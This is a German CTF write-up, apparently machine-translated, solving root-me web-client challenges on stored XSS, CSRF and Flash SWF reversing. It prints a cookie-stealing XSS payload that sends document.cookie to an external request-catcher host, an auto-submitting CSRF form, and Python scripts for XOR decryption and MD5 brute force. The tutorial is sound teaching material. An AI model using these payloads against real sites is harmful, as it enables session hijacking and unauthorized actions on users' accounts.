XSS-, CSRF- und Flash-Authentifizierung. Problemlösung mit r0ot-mi Web - Client. Teil 2

Bild

In diesem Artikel hijacken wir Cookies über Stored XSS, behandeln einen CSRF-Angriff und kehren eine Flash-SWF-Datei um. Links zu früheren Artikeln:

Teil 1: Web - Javascript - Authentifizierung, Verschleierung und nativer Code. Problemlösung mit r0ot-mi Web - Client.

Organisatorische Informationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:

  • PWN;
  • Kryptographie (Crypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Channel und eine Gruppe erstellt, um alle Fragen im Bereich ICD zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen persönlich berücksichtigen und auf alle antworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.

XSS gespeichert


Bild

Bei der Zuweisung müssen wir die Admin-Cookies abrufen. Wir öffnen die Seite. Wir sehen ein Formular, in dem Sie einen Titel und eine Nachricht eingeben müssen. Lassen Sie uns eingeben, um zu sehen, wie unsere Eingabe im Formular angezeigt wird.

Bild

Bild

Also Lassen Sie uns versuchen, auf XSS zu überprüfen. Als Nutzlast verwende ich den üblichen Alert.

<script>alert(1);</script> 

Wie Sie sehen, wurde uns das Warnfenster angezeigt, dh der eingebettete Javascript-Code funktionierte.

Bild

Da diese XSS gespeichert sind, ist es möglich, die Cookies anderer Benutzer zu hijacken. Wenn Sie keinen eigenen Server im globalen Netzwerk haben, können Sie diese Site verwenden .

Bild

Hier erhalten wir eine Adresse, unter der wir alle Anfragen an diese Adresse bearbeiten können. Stellen Sie nun die nächste Nutzlast vor.

 <script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script> 

Wenn der Benutzer eine Seite mit diesem Code öffnet, versucht der Agent, das Bild herunterzuladen und eine Anforderung an diese Adresse auszuführen. Er wird sein Cookie als Parameter verwenden. Wir schauen uns dann den Parameter an, mit dem die Anfrage kam - das wird der Cookie.

Bild

Warum ist die Entführung von Cookies gefährlich? Durch das Einfügen von Cookies für diese Site in unseren Browser werden wir die Site im Namen dieses Benutzers betreten und den Authentifizierungsprozess überspringen.

CSRF


Bild

Bei der Zuweisung müssen wir Ihr Konto aktivieren. Schauen wir uns die Seite an. Wir werden von einem Autorisierungsformular erfüllt.

Bild

Wir wählen die Registrierung und registrieren uns auf der Website.

Bild

Es wird uns mitgeteilt, dass wir vollen Zugriff erhalten, wenn der Administrator unser Konto aktiviert.

Bild

Bild

Wenn Sie versuchen, das Kontrollkästchen selbst zu aktivieren, erhalten Sie die Meldung, dass wir kein Administrator sind.

Bild

Wir können uns aber an den Administrator wenden, dh er wird die Seite öffnen. Die Bedeutung von CSRF ist, dass der Benutzer Aktionen ausführt, ohne es zu wissen. Das heißt, wir können ihn zwingen, ein bereits ausgefülltes Formular einzureichen. Lassen Sie uns überprüfen, ob es ein Token gibt, das vom Server festgelegt und überprüft wird - als Schutz vor solchen Angriffen. Es ist jedes Mal anders.

Bild

Es gibt kein Token. Diese Form der Nutzlast wird aus dieser Form hervorgehen.

 <form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

Hier ist ein Formular bereits mit unseren Daten gefüllt, mit einem aktivierten Häkchen. Der Javascript-Code sendet ihn nach dem Laden der Seite im Namen des Administrators, der ihn aufgerufen hat.

Bild

Bild

Nach einiger Zeit aktualisieren wir die Seite. Unser Konto wurde aktiviert.

Bild

Flash


Bild

Wir müssen einen gültigen Code finden. Lassen Sie uns die Seite öffnen. Wir werden von einer Art Code-Mechanismus getroffen.

Bild

Werfen wir einen Blick auf den Code.

Bild

Wir sehen, dass der konvertierte Code in JS überprüft wird, was wir einführen. Es bleibt noch der Umrechnungsalgorithmus herauszufinden. Ebenfalls im Code befindet sich ein Link zur SWF-Datei. Laden wir es herunter.

Bild

Wir sehen, dass dies ein komprimierter Macromedia Flash ist. Um solche Dateien umzukehren, bevorzuge ich JPEXS.

Bild

Wir finden das Hauptskript.

Bild

Nehmen wir es auseinander.

Bild

Es lädt die Daten aus einem anderen verschachtelten Skript, beißt sie mit dem Schlüssel und sendet sie zur Ausführung. Lass es uns tun. Zuerst finden wir diese Daten.

Bild

Und dann in eine separate Datei exportieren.

Bild

Nun bete sie mit dem Schlüssel an.

 f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close() 

Wir bekommen eine neue Datei. Öffne es in JPEXS.

Bild

Wir finden das Hauptskript und beginnen zu analysieren.

Bild

Da muss man noch Code schreiben. Ich werde Teile davon veröffentlichen.

 but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' 

Hier sehen wir den Code jeder Taste und ihre Position in den Koordinaten. Dies hilft uns zu verstehen, welche Schaltfläche welchen Code hat.

Bild

Daraus lernen wir, dass die Länge des Codes gleich oder größer als 12 sein sollte. Und dass der Endwert der MD5-Hash aus der invertierten Zeichenfolge ist.

 from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() 

Bild

Anstatt zu beschreiben, gebe ich diesen Code einfach in python'e.

 code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] 

Wir müssen also 4 ^ 12 = 16777216 Optionen aussortieren. Eine Kleinigkeit.

 from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break 

Bild

Habe ein Passwort und einen Code.

Immer komplizierter ... Sie können sich uns auf Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.

Source: https://habr.com/ru/post/de477254/


All Articles